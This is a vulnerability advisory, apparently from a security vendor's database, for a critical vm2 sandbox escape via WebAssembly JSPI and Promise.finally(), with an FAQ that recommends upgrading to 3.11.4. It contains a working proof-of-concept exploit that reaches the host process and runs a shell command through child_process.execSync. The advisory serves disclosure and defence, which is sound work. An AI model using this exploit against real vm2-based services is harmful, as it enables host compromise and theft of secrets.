CVE-2026-47210

A sandbox escape vulnerability in vm2 allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (WebAssembly.promising / WebAssembly.Suspending). In the tested configuration, a JSPI-backed Promise can reach Promise.prototype.finally() in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary.

This is a critical sandbox escape: any application that treats vm2 as a security boundary may be fully compromised.

Details

On node26, JSPI-backed Promises created through WebAssembly.promising(...) do not behave like ordinary sandbox Promises.

That path yields a host-originated TypeError during JSPI processing. Inside attacker-controlled species logic reached through .finally(), the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object's constructor path can be used to reach host process, which leads to arbitrary code execution in the host process.

This behavior is specific to the JSPI / .finally() interaction. In contrast, the corresponding then / catch paths still appeared to route through vm2's expected localPromise machinery in my testing.

PoC

Environment: node:26-bookworm

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
(()=>{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=>WebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=>{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=>{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=>{
    let P=e.constructor.constructor('return process')()
    P.mainModule.require('child_process').execSync('touch pwned');
    this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,'constructor',{get(){return F}});p.finally(()=>{})});return 1})()
`));

This is a sandbox escape leading to arbitrary code execution in the host process.

Who is impacted:

• any application using vm2 to execute attacker-controlled JavaScript as a security boundary
• especially Node.js runtimes exposing WebAssembly JSPI features (Node 26)

Practical impact:

• arbitrary command execution in the host process
• arbitrary file read / write accessible to the host process
• theft of secrets, tokens, credentials, and application data
• complete compromise of services relying on vm2 isolation

CVE-2026-47210 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.4); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-47210? CVE-2026-47210 is a critical-severity security vulnerability in vm2 (npm), affecting versions <= 3.11.3. It is fixed in 3.11.4.
2. How severe is CVE-2026-47210? CVE-2026-47210 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of vm2 are affected by CVE-2026-47210? vm2 (npm) versions <= 3.11.3 is affected.
4. Is there a fix for CVE-2026-47210? Yes. CVE-2026-47210 is fixed in 3.11.4. Upgrade to this version or later.
5. Is CVE-2026-47210 exploitable, and should I be worried? Whether CVE-2026-47210 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-47210 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-47210? Upgrade vm2 to 3.11.4 or later.